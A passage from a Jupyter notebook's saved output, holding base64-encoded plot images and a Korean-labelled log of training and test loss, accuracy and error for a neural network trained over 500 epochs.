bnID55SqrdS6hul1GalVIZS6s7Q/KN2v5VSdqXUT0qp9aF9fiQ0v79SalVon98LDfmOUsoWmt4eWt4vkvEfLKWUWSn1s1Lq89D0Ub2/AEqpXUqp/9/e2YVYVUVx/PdXyyzDSc2QtET0QQMbKUxRwuwDtfChBBFDHwQRhAqKcPrUR1/ShyJ8iD5IFKIyMShltCIoNXVS0yyFqURpEPwgikhbPex1xtPlzkDOU8FYFgAABNxJREFUvXO756wfHM7e6+y5Z//P7HvW2fvsu/ZhSR2SvnFbXdt2KRyBpIHAa8A8YDKwWNLkxtaqZrwFzK2wrQbazWwi0O55SPon+rYCeL2f6lhrLgFPm9kkYDqwyv+fRdb9JzDHzO4EWoG5kqYD64D1rvkcsNzLLwfOmdkEYL2Xa0aeBI7l8kXXm3GfmbXmfjNQ37ZtZoXfgBnAp7l8G9DW6HrVUN844EgufxwY7enRwHFPbwQWVyvXzBvwEfBgWXQD1wMHgHtIvzId5Pbudk5aB2SGpwd5OTW67v9R5xi/6c0BtgMqst6c7k5gZIWtrm27FD0C4Fbgl1z+lNuKyi1mdgbA96PcXrjr4EMAU4E9FFy3D5N0AF3ATuAkcN7MLnmRvK5uzX78AjCif2vcZzYAzwJ/e34ExdabYcAOSfslrXBbXdt2XRem+R+hKrYyzpst1HWQNBR4H3jKzC5K1eSlolVsTafbzC4DrZJagA+BSdWK+b6pNUt6BOgys/2SZmfmKkULobeCmWZ2WtIoYKek73spWxPdZekRnALG5vJjgNMNqkt/8Kuk0QC+73J7Ya6DpGtITmCTmX3g5sLrBjCz88BnpPcjLZKyB7q8rm7NfnwYaTnYZmEmsEBSJ7CFNDy0geLq7cbMTvu+i+Twp1Hntl0WR7APmOgzDq4lrY28rcF1qifbgGWeXkYaQ8/sS32mwXTgQtbdbCaUHv3fAI6Z2Su5Q4XVLelm7wkgaQjwAOkl6m5goRer1Jxdi4XALvNB5GbAzNrMbIyZjSN9X3eZ2RIKqjdD0g2SbszSwEPAEerdthv9YqQfX8DMB34gjas+3+j61FDXZuAM8Bfp6WA5aWy0HfjR98O9rEizp04Ch4G7G13/q9Q8i9T9PQR0+Da/yLqBKcBB13wEeMnt44G9wAngPWCw26/z/Ak/Pr7RGvqgfTawvQx6Xd+3vn2X3avq3bYjxEQQBEHJKcvQUBAEQdAD4QiCIAhKTjiCIAiCkhOOIAiCoOSEIwiCICg54QiC0iPpskd6zLZeo9NKWilpaQ3O2ylpZF8/Jwj6SkwfDUqPpN/MbGgDzttJmvd9tr/PHQR5okcQBD3gT+zrfB2AvZImuH2NpGc8/YSkox4Lfovbhkva6ravJU1x+whJOzy+/kZycWIkPe7n6JC00UOnB0G/EI4gCGBIxdDQotyxi2Y2DXiVFOumktXAVDObAqx021rgoNueA95x+8vAl2Y2lRQa4DYASZOARaRgY63AZWBJbSUGQc+UJfpoEPTGH34Drsbm3H59leOHgE2StgJb3TYLeAzAzHZ5T2AYcC/wqNs/lnTOy98P3AXs8wiqQ7gSVCwI6k44giDoHeshnfEw6Qa/AHhR0h30Hhq42mcIeNvM2vpS0SC4WmJoKAh6Z1Fu/1X+gKQBwFgz201aQKUFGAp8gQ/teCz9s2Z2scI+D7jJP6odWOjx57N3DLfXUVMQ/IvoEQSBvyPI5T8xs2wK6WBJe0gPTYsr/m4g8K4P+4i0lu55SWuANyUdAn7nSvjgtcBmSQeAz4GfAczsqKQXSKtSDSBFkl0F/FRroUFQjZg+GgQ9ENM7g7IQQ0NBEAQlJ3oEQRAEJSd6BEEQBCUnHEEQBEHJCUcQBEFQcsIRBEEQlJxwBEEQBCXnHzvRNEHrFWslAAAAAElFTkSuQmCC\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "7 0.0007799863815307617\n", "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.7621930241584778 0.6168749928474426 0.3831250071525574\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.797829806804657 0.6875 0.3125\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.26939305663108826 0.9254999756813049 0.07450002431869507\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.20509575307369232 0.9275000095367432 0.07249999046325684\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11818834394216537 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.141656294465065 1.0 0.0\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07045347988605499 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03602784499526024 0.9950000047683716 0.004999995231628418\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.031452178955078125 0.9950000047683716 0.004999995231628418\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06286120414733887 0.9975000023841858 0.002499997615814209\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02415839210152626 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.029511258006095886 1.0 0.0\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.020990869030356407 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03394352272152901 1.0 0.0\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.012527072802186012 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.021994013339281082 0.9975000023841858 0.002499997615814209\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03304309770464897 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010217537172138691 1.0 0.0\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02477177605032921 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.011522581800818443 1.0 0.0\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.010674004442989826 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0037305145524442196 1.0 0.0\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.008796467445790768 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01881035603582859 1.0 0.0\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003878809977322817 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005252863746136427 1.0 0.0\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0037407134659588337 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.003663689596578479 1.0 0.0\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.009753902442753315 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005529662594199181 0.9975000023841858 0.002499997615814209\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0049907187931239605 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0023329758550971746 1.0 0.0\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.002312371274456382 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.015362206846475601 1.0 0.0\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00461579579859972 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.002844282193109393 0.9975000023841858 0.002499997615814209\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.009391846135258675 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0020392579026520252 1.0 0.0\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.008157061412930489 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0036315282341092825 1.0 0.0\n", "Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0013817083090543747 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.001796214492060244 1.0 0.0\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003608105471357703 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.002198927104473114 1.0 0.0\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.002053353004157543 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0006848287885077298 1.0 0.0\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.000741710769943893 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0016923359362408519 1.0 0.0\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003100750269368291 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0019797056447714567 1.0 0.0\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.002853602170944214 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0017397250048816204 1.0 0.0\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00036471919156610966 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00022281445853877813 1.0 0.0\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0012807976454496384 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.001212801900692284 1.0 0.0\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00041900062933564186 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0006151514826342463 1.0 0.0\n", "Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0007475945167243481 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0011019365629181266 1.0 0.0\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0004828250384889543 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00023739211610518396 1.0 0.0\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0007013666327111423 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.000649812223855406 1.0 0.0\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.006667723413556814 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 7.286373875103891e-05 1.0 0.0\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0015171902487054467 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.012474553659558296 1.0 0.0\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00034194643376395106 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00034407261409796774 1.0 0.0\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0005189167568460107 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.001300619449466467 1.0 0.0\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0008294969447888434 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0004647142777685076 1.0 0.0\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0014727134257555008 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00038113287882879376 1.0 0.0\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0021797127556055784 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00013023678911849856 1.0 0.0\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0003893379762303084 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00026923874975182116 0.9975000023841858 0.002499997615814209\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.001233674236573279 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 7.452005229424685e-05 1.0 0.0\n", "Epoch: 410, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 9.929696534527466e-05 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 1.02089652500581e-05 1.0 0.0\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0006049424991942942 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00034930481342598796 1.0 0.0\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0034710108302533627 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0008615561528131366 1.0 0.0\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00025421855389140546 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 9.546954242978245e-05 1.0 0.0\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0007773262332193553 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 1.826996413001325e-05 1.0 0.0\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 3.748624658328481e-05 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 4.6343655412783846e-05 1.0 0.0\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00021205229859333485 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00033858060487546027 1.0 0.0\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 5.5358235840685666e-05 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0004692868678830564 1.0 0.0\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00011282735067652538 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 3.7874080589972436e-05 1.0 0.0\n" ] }, { "data": { "image/png": "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FYPt7ciRI9x7770MHTqUESNGcNddd5GRkQFAbm4uw4YNY9iwYXTv3p3U1NSaZa/X2+LXuP3229mxY0e4qgDY6GTxwdKDvHG1g8vLoxjrr4p0OEqpk9zu3buZMmUKv/nNb3jyySfxeDwsW7aMa665hrfeeosBAwawYcMGAB566CHi4+P51a9+VW8/xhiMMTgcDX8vf+WVV8JaD7BRIjhUcohVgxxc+W004m95NlZKtY+H/7OVbQeL2nWfZ/bsxO+vOqvVz9u3bx933HEH2dnZdO3alVdeeYXevXszb948Hn74YZxOJ4mJiaxYsYKtW7dy++234/V6CQQCzJ8/n4EDB/LjH/+Y1157jaFDh9bsd/z48bzxxhv88pe/ZMGCBY2+/q5du7j66qsZN24ca9asYdGiRTz88MOsX7+e8vJypk6dyowZMwAYN24czz33HIMHDyYlJYW7776bJUuWEBsby7vvvku3bt1af+DqCGvXkIhMEpEdIrJLRKY3UuZ6EdkmIltF5P/CFUtiVCIjuqUT63fh8OtNBErZ2c9+9jNuvfVWNm3axM0338w999wDwCOPPMLSpUvZuHEjCxcuBGDWrFnce++9bNiwgXXr1pGWlsY333xD165dGTp0KIsWLWLEiBFMmTKF6667jjPOOAOHw0FOTk6TMWzbto0777yTr776itTUVGbOnMm6devYuHEjH374Idu2bav3nMLCQi688EI2btzImDFjmD17drscj7C1CETECTwPXApkAmtFZKExZltImYHAb4Cxxph8ETn21NaISf0mMb73ZXy8coImAqUioC3f3MNl1apV/Pvf/wbg+9//Pr/+9a8BGDt2LLfddhvXX3891157LQBjxozhscceIzMzk2uvvZaBAweyceNGRo8ejd/v5+GHH2b58uUUFhYyePBgAAYOHMi3335LSkpKozEMGDCAkSNH1izPmTOHl19+GZ/Px8GDB9m2bRtnnnlmrefExMRw+eWXA3DOOefw2WeftcvxCGeL4FxglzFmjzHGC8wFvlunzA+B540x+QDGmKwwxoPLIfhw4gho15BS6qjqSy5nzZrFo48+SkZGBsOGDSM3N5ebbrqJhQsXEhMTw8SJE1m+fDnGGJxOJzk5OQwYMICkpCT69OlT88GdlZXVbJdNXMi9TTt37uSvf/0ry5cvZ9OmTUyaNKnBewE8IZfB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